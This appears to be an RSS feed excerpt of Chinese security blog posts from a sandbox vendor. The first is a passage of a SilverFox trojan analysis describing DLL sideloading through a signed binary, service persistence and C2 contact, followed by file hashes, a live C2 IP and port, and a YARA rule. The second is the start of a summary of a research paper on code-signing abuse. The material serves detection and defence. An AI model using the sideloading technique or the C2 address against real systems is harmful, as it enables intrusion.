leaf="">注入的恶意代码会在用户目录下释放两个文件：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">WebViewHelper.exe</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">libcef.dll</span></code><span leaf="">，其中 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">WebViewHelper.exe</span></code><span leaf=""> 为具备合法签名的白文件，被用来加载黑文件 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">libcef.dll</span></code><span leaf="">，达到混淆视听的目的。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.3314814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005376" src="https://wechat2rss.xlab.app/img-proxy/?k=64fbf0bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxPuMNyxQ8jG1ojBMl86fWA1ej8FGxegaiapKKL3a0I05L5hK5WdQUXEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图7 释放文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程，进入下一阶段逻辑。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">第三阶段：</span></strong><span leaf=""> WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测，包括判断运行环境、所属 session 以及管理员权限等，检测通过后与 C2 服务器建立通信。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.7790476190476191" data-type="png" data-w="525" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005375" src="https://wechat2rss.xlab.app/img-proxy/?k=45f3faf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxdEMCs5RnW0n2aoSjDdDYq1v10iaiccdP82Qs30Xmko1z7UeIENVyE71A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图8 环境检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.8927392739273927" data-type="png" data-w="606" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005378" src="https://wechat2rss.xlab.app/img-proxy/?k=2c087ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxFpAIVibZZDwkl9VQJ97Xmwbzoh9Ue4DKGqVicrkiaXzgVh5qdLAphemCg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图9 网络通信</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.2453748782862707" data-type="png" data-w="1027" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005377" src="https://wechat2rss.xlab.app/img-proxy/?k=113e85d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxOUQHx4Pd2ADNLeojcOb6teuHtibWiajR00fCYLicPicY7lFN1HvswojXCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图10 样本攻击链</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整个攻击链逻辑错综复杂，层层递进，分析难度极大。同时，攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听，进一步干扰了用户和安全人员的判断。</span></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">04</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">IOC</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">481577b35e4d09510c49d78f5c3fa98c</span> Rar0092_v3.<span class="code-snippet__number">53</span>.<span class="code-snippet__number">278</span>_2xdcey.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">0c0d6806bb8caf68d4dfa5208db52a17</span> app.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">f041793908111b5395226bc9ed5e6698</span> app.exe._</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">daa5414f94d8f43925efffd79979cf75</span> README.md</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">c2db56df94b92d6370c87303d1506f54</span> View.dat</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">937ab7f863261a046ba3dd46df7cb270</span> Web.dat</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">34f435f15a846ae677f88ea412c074d1</span> åº ç ¨å® .exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">85fac9d703132b9a28beb11d8ec3d181</span> View.conf</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">c154442ddf6363b6ac5822e47028d672</span> WebViewHelper.exe</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">74be16979710d4c4e7c6647856088456</span> libcef.dll</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意IOC</span></strong></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">192</span>.<span class="code-snippet__number">238</span>.<span class="code-snippet__number">201</span>.<span class="code-snippet__number">32</span>[:]<span class="code-snippet__number">30009</span> C2 地址</span></code></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">报告链接</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析报告：</span><span leaf="">(<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)</a></span></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">5</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">检出规则</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱已针对该银狐变种样本编写如下YARA规则，供用户参考使用：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">rule Trojan_SilverFox</span></code><br/><code><span leaf="">{</span></code><br/><code><span leaf=""><span class="code-snippet__section">meta:</span></span></code><br/><code><span leaf="">description = <span class="code-snippet__string">&#34;银狐变种的检测&#34;</span></span></code><br/><code><span leaf="">date = <span class="code-snippet__string">&#34;2026-01-04&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">strings:</span></span></code><br/><code><span leaf="">$seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }</span></code><br/><code><span leaf="">$seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }</span></code><br/><code><span leaf=""><span class="code-snippet__section">condition:</span></span></code><br/><code><span leaf="">all of them</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">6</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">技术支持与反馈</span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=94bfdf23&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489034%26idx%3D1%26sn%3D1fd45082f29e9207d539a3cd1890edca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 22 Jan 2026 16:51:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】被滥用的信任：Windows 代码签名滥用测量研究</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489016&amp;idx=1&amp;sn=0e14a2da0f4d916c8759c197335bd855</link>
      <description>星图实验室联合清华大学、中关村实验室在 NDSS 2026 发表研究成果！团队分析超 320 万个恶意样本，构建了全球最大的代码签名滥用数据集（43,286张证书），首次发现&#34;幽灵证书&#34;威胁，系统揭示五大攻击策略。数据集已开源，为软件供应链安全研究提供重要支撑。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-21 13:10</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8db25a2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaJ130vXt6mb1UtO7tDM3B3MfR5orWiboSeqo9GS9FUB52CgnNicLahxmg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>星图实验室联合清华大学、中关村实验室在 NDSS 2026 发表研究成果！团队分析超 320 万个恶意样本，构建了全球最大的代码签名滥用数据集（43,286张证书），首次发现"幽灵证书"威胁，系统揭示五大攻击策略。数据集已开源，为软件供应链安全研究提供重要支撑。</p>
  <p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 128, 255);font-weight: bold;">一、代码签名沦为恶意软件的“护身符”</span></span></p><p data-pm-slice="0 0 []"><span leaf="">当你在运行某个软件时，看到如下所示的弹框，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“已验证的发布者：XXX有限公司”</span></strong><span leaf="">，你是否会不假思索地点击“是”？然而，大量安全事件表明这样的信任已经被攻击者滥用，看似安全的软件来源可能来自于精心设计的伪装。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6267539756782039" data-s="300,640" data-type="png" data-w="1069" type="block" data-imgfileid="100005360" src="https://wechat2rss.xlab.app/img-proxy/?k=4ac8fbf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKapDuXJrpQwgZdzH1zlAgRLblSgbfcjl8j4cfdIS8QsJFRuZdxnqO5SA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">近年来，软件供应链安全事件频发，为了保护软件真实性与完整性，代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术，旨在确保软件来自真实来源且软件内容未被篡改。当终端用户安装或以管理员权限运行软件时，操作系统会验证代码签名的有效性，帮助用户判断此软件是否值得信任（如上图所示）。然而，攻击者有时会反过来利用代码签名 PKI 信任体系中的安全缺陷，通过某种手段为恶意软件配置代码签名，帮助恶意软件绕过操作系统和杀毒软件的检查，我们称之为</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“代码签名滥用”</span></strong><span leaf="">。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30277777777777776" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005361" src="https://wechat2rss.xlab.app/img-proxy/?k=23f78ccb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96mWrkGDjmRU2PIibJOxS1NKaOve5eJMm6uDOHgnC79N3ZiakhF1jeO2PpM39fzWTpGbttsHoo96eYtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">为了应对代码签名滥用带来的安全威胁，奇安信技术研究院星图实验室与清华大学、中关村实验室联合研究团队在 NDSS 2026 会议上发表了论文《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》。这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成，导师为段海新教授（清华大学）和应凌云博士（奇安信星图实验室）。其他作者分别为张一铭（清华大学）、张明明（中关村实验室）、刘保君（清华大学）、游子权（清华大学）、张书豪（奇安信星图实验室）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">在这项工作中，我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件，对 Windows 代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法，我们检测到了 43,286 张滥用证书，构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在，影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了五种滥用者的攻击策略，并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;"><span leaf=""><span textstyle="" style="font-size: 24px;color: rgb(0, 128, 255);font-weight: 